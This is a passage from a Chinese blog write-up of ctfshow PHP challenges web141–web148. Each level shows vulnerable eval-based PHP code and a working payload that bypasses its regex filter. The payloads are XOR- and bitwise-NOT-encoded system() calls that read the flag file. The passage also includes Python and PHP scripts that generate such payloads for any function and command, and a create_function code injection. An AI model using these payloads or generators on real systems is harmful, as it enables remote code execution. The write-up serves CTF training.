echo "$v1$v3$v2 = ".$code;
}
}
}
  • 使用正则表达式验证v3只包含非单词字符(即数学运算符如+、-、*、/等)
  • \W匹配任何非单词字符(等价于[^a-zA-Z0-9_])

return 的使用实际上会 阻断攻击者直接执行任意代码,因为:

  1. 所有执行都会被限制在 return 表达式中

  2. 无法执行多语句攻击(如 system('ls'); 这类操作)

    1
    return干扰,我们可以使用(/*+-)这些字符绕过
1
?v1=1&v2=2&3=?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)-CSDN博客

web142

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

sleep()函数将当前脚本的执行延迟指定的秒数

字符串 "0"is_numeric() 函数识别为数值

1
?v1=0

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

用141脚本跑出xor_rce.txt

再运行这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# 生成可用的字符
def write_rce():
result = ''
preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)

main()
1
2
3
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

141增强版

1
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

web145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

脚本,在命令行运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

1
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
1
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web147

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

这里看提示

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

这里利用进行代码注入create_function()

1
string create_function ( string $args , string $code )

string $args 变量部分

string $code 方法代码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。

string create_function ( string $args , string $code )

string $args 参数部分
string $code 方法代码部分

举例:

create_function('$name','echo $fname."Zhang"')
类似于:

function fT($name) {
echo $fname."Zhang";
}

1
2
3
?show=}system('tac f*');//
ctf=%5ccreate_function
%5c就是\

web148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");

Author: syifna

Link: http://syifna.github.io/2025/04/04/php%E7%89%B9%E6%80%A7/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
MD5
NextPost >
SSRF
CATALOG
  1. 1. PHP特性
    1. 1.1. web89
    2. 1.2. web90
    3. 1.3. web91
    4. 1.4. web92
    5. 1.5. web93
    6. 1.6. web94
    7. 1.7. web95
    8. 1.8. web96
    9. 1.9. web97
    10. 1.10. web98
    11. 1.11. web99
    12. 1.12. web100
    13. 1.13. web101
    14. 1.14. web102
    15. 1.15. web103
    16. 1.16. web104
    17. 1.17. web105
    18. 1.18. web106
    19. 1.19. web107
    20. 1.20. web108
    21. 1.21. web109
    22. 1.22. web110
    23. 1.23. web111
    24. 1.24. web112
    25. 1.25. web113
    26. 1.26. web114
    27. 1.27. web115
    28. 1.28. web123
    29. 1.29. web125
    30. 1.30. web126
    31. 1.31. web127
    32. 1.32. web128
    33. 1.33. web129
    34. 1.34. web130
    35. 1.35. web131
    36. 1.36. web132
    37. 1.37. web133
    38. 1.38. web134
    39. 1.39. web135
    40. 1.40. web136
    41. 1.41. web137
    42. 1.42. web138
    43. 1.43. web139
    44. 1.44. web140
    45. 1.45. web141
    46. 1.46. web142
    47. 1.47. web143
    48. 1.48. web144
    49. 1.49. web145
    50. 1.50. web146
    51. 1.51. web147
    52. 1.52. web148